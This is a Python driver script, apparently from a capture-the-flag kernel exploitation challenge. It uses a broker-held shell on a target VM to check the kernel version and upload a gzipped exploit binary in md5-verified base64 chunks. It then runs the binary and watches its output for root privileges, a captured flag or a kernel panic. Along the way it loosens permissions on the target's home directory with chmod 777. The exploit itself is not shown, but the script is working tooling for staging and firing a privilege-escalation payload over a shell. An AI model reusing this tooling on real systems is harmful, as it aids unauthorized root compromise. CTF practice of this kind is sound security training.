#!/usr/bin/env python3
"""
Driver for the broker-held VM session.

Modes:
  id      : wait for a live relay, send identity check, print result
  upload  : verified per-chunk base64 upload of exploit/poc_musl.gz
  run [N] : send the exploit, watch output for N seconds (default 480)
  watch N : just watch the session log for N seconds

All modes attach to broker.sock and only consume new session.log bytes.
"""
import socket, time, base64, hashlib, os, sys, re

BASE = "/home/pwn/ctf/pwn3"
SOCKF = os.path.join(BASE, "broker.sock")
STATEF = os.path.join(BASE, "broker.state")
LOGF = os.path.join(BASE, "session.log")
GZ = os.path.join(BASE, "exploit", "poc_musl.gz")
BIN = os.path.join(BASE, "exploit", "poc_musl")
BLK_LINES = int(os.environ.get("BLK_LINES", "26"))

gz = open(GZ, "rb").read()
b64 = base64.b64encode(gz).decode()
b64lines = [b64[i:i + 76] for i in range(0, len(b64), 76)]
blocks = [b64lines[i:i + BLK_LINES] for i in range(0, len(b64lines), BLK_LINES)]
bin_md5 = hashlib.md5(open(BIN, "rb").read()).hexdigest()

s = None
logpos = 0

def log_size():
    try:
        return os.path.getsize(LOGF)
    except FileNotFoundError:
        return 0

def connect_broker(wait_s=None):
    if wait_s is None:
        wait_s = int(os.environ.get("WAIT_S", "450"))
    global s, logpos
    end = time.time() + wait_s
    while time.time() < end:
        try:
            st = open(STATEF).read()
        except Exception:
            st = ""
        if "SHELL READY" in st and os.path.exists(SOCKF):
            try:
                s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
                s.connect(SOCKF)
                logpos = log_size()
                return True
            except Exception:
                try: s.close()
                except Exception: pass
                s = None
        time.sleep(1)
    return False

def drain_sock():
    """Drain broadcast data from the broker so its non-blocking sendall never
    fills our receive buffer (otherwise the broker drops us as a client)."""
    try:
        while True:
            d = s.recv(65536, socket.MSG_DONTWAIT)
            if not d:
                break
    except (BlockingIOError, InterruptedError):
        pass
    except Exception:
        pass

def send(b):
    s.sendall(b)
    drain_sock()

def read_new(timeout):
    global logpos
    end = time.time() + timeout
    acc = b""
    while True:
        sz = log_size()
        if sz > logpos:
            with open(LOGF, "rb") as f:
                f.seek(logpos)
                d = f.read(sz - logpos)
            logpos += len(d)
            acc += d
            if acc:
                return acc
        drain_sock()
        if time.time() >= end:
            return acc
        time.sleep(0.02)

def wait_tokens(pred, timeout):
    """Wait for a line whose ascii tokens satisfy pred; return (tokens, raw_stream)."""
    end = time.time() + timeout
    acc = b""
    while time.time() < end:
        acc += read_new(0.2)
        for line in acc.split(b"\n"):
            clean = line.replace(b"\r", b"").strip()
            try:
                tok = clean.decode("ascii", "replace").split()
            except Exception:
                continue
            if tok and pred(tok):
                return tok, acc
    return None, acc

def resync():
    send(b"\n\x03")
    time.sleep(0.3)

def recover_shell():
    """Close a possibly-open quote, then interrupt, then newline."""
    send(b"'\n")
    time.sleep(0.15)
    send(b"\x03")
    time.sleep(0.15)
    send(b"\n")
    time.sleep(0.25)

def ensure_shell():
    """Set a wide terminal so long command lines do not wrap, and verify the
    shell actually executes commands."""
    for _ in range(4):
        send(b"stty -echo cols 4000 2>/dev/null; chmod 777 /home/ctf 2>/dev/null; m=POC; echo ${m}_SETUP\n")
        tok, _ = wait_tokens(lambda t: "POC_SETUP" in t, 5.0)
        if tok is not None:
            return True
        recover_shell()
    return False

def mode_id():
    if not connect_broker():
        print("NO LIVE RELAY"); return 2
    send(b"uname -r; cat /proc/version; echo A''CK_ID\n")
    tok, acc = wait_tokens(lambda t: t[:1] == ["ACK_ID"], 20.0)
    txt = acc.decode("ascii", "replace")
    print(txt[-2000:])
    ok = "7.0.0-39-generic" in txt
    print("IDENTITY_OK" if ok else "IDENTITY_MISMATCH")
    return 0 if ok else 3

def send_block(i, lines_):
    tag = "%02d" % i
    data = "\n".join(lines_) + "\n"
    exp = hashlib.md5(data.encode()).hexdigest()
    cmd = ("cat > /home/ctf/p%s <<'__E9__'\n" % tag)
    cmd += data
    cmd += "__E9__\n"
    cmd += ("m=POC; echo ${m}_%s $(md5sum /home/ctf/p%s|cut -c1-32)"
            % (tag, tag))
    line = cmd.encode() + b"\n"
    for attempt in range(4):
        send(line)
        tok, _ = wait_tokens(lambda t: ("POC_" + tag) in t, 20.0)
        if tok is not None:
            k = tok.index("POC_" + tag)
            got = tok[k + 1].lower() if k + 1 < len(tok) else ""
            if got == exp:
                return True
            print(f"block {tag} md5 mismatch attempt {attempt+1}", flush=True)
        else:
            print(f"block {tag} timeout attempt {attempt+1}", flush=True)
        recover_shell()
    return False

def mode_upload():
    if not connect_broker():
        print("NO LIVE RELAY"); return 2
    if not ensure_shell():
        print("SHELL UNRESPONSIVE"); return 2
    print(f"uploading {len(b64lines)} lines in {len(blocks)} blocks, expected md5 {bin_md5}", flush=True)
    send(b"rm -f /home/ctf/p[0-9][0-9] /home/ctf/b64 /home/ctf/poc /home/ctf/part_*; m=POC; echo ${m}_CLEAN\n")
    tok, _ = wait_tokens(lambda t: "POC_CLEAN" in t, 8.0)
    if tok is None:
        print("NO CLEAN ACK"); return 2
    for i, blk in enumerate(blocks):
        if not blk:
            continue
        if not send_block(i, blk):
            print(f"UPLOAD_FAILED at block {i}")
            return 4
        if i % 5 == 0:
            print(f"block {i}/{len(blocks)}", flush=True)
    final = ("cat /home/ctf/p[0-9][0-9] > /home/ctf/b64; "
             "base64 -d /home/ctf/b64 | gzip -dc > /home/ctf/poc; "
             "md5sum /home/ctf/poc; chmod +x /home/ctf/poc; "
             "m=POC; echo ${m}_FINAL")
    send(final.encode() + b"\n")
    tok, acc = wait_tokens(lambda t: "POC_FINAL" in t, 40.0)
    if tok is None:
        print("NO FINAL ACK"); return 4
    txt = acc.decode("ascii", "replace")
    if bin_md5 in txt:
        print("UPLOAD_OK md5", bin_md5)
        return 0
    print("MD5 MISMATCH; tail:"); print(txt[-1500:])
    return 5

INTEREST = re.compile(rb"ROOT euid|VDASIZE|FLAGMATCH|no root after|Kernel panic|Oops|BUG:|RIP:|general protection|ACK_RUNEND|terminating on signal|not found|Permission denied", re.I)

def mode_run(dur=480):
    if not connect_broker():
        print("NO LIVE RELAY"); return 2
    send(b"cd /home/ctf && ./poc; echo A''CK_RUNEND\n")
    print("exploit launched; watching", flush=True)
    end = time.time() + dur
    acc = b""
    last_hit = 0.0
    seen_root = False
    seen_flag = False
    seen_fail = False
    seen_panic = False
    seen_runend = False
    while time.time() < end:
        d = read_new(0.5)
        acc += d
        if d:
            for line in d.replace(b"\r", b"").split(b"\n"):
                if INTEREST.search(line):
                    print("HIT:", line.decode("ascii", "replace")[:400], flush=True)
                    last_hit = time.time()
                    if b"ROOT euid" in line: seen_root = True
                    if b"FLAGMATCH" in line: seen_flag = True
                    if b"no root after" in line: seen_fail = True
                    if b"panic" in line.lower() or b"Oops" in line: seen_panic = True
                    if b"ACK_RUNEND" in line: seen_runend = True
        if seen_flag:
            # keep a bit more for context
            if time.time() - last_hit > 3: break
        if seen_panic:
            if time.time() - last_hit > 2: break
        if seen_runend and not seen_root:
            if time.time() - last_hit > 2: break
    # write full raw window for later inspection
    open(os.path.join(BASE, "run_window.bin"), "wb").write(acc)
    print(f"run watch done: root={seen_root} flag={seen_flag} fail={seen_fail} panic={seen_panic} runend={seen_runend}")
    return 0 if (seen_root or seen_flag) else 6

def mode_watch(dur=240):
    if not connect_broker():
        print("NO LIVE RELAY"); return 2
    end = time.time() + dur
    acc = b""
    while time.time() < end:
        d = read_new(0.5)
        if d:
            acc += d
            for line in d.replace(b"\r", b"").split(b"\n"):
                if INTEREST.search(line):
                    print("HIT:", line.decode("ascii", "replace")[:400], flush=True)
    open(os.path.join(BASE, "watch_window.bin"), "wb").write(acc)
    return 0

def main():
    if len(sys.argv) < 2:
        print("usage: go.py id|upload|run [sec]|watch [sec]"); return 1
    m = sys.argv[1]
    if m == "id": return mode_id()
    if m == "upload": return mode_upload()
    if m == "run": return mode_run(int(sys.argv[2]) if len(sys.argv) > 2 else 480)
    if m == "watch": return mode_watch(int(sys.argv[2]) if len(sys.argv) > 2 else 240)
    return 1

if __name__ == "__main__":
    try:
        sys.exit(main())
    except OSError as e:
        print(f"SESSION LOST: {e!r}", flush=True)
        sys.exit(7)
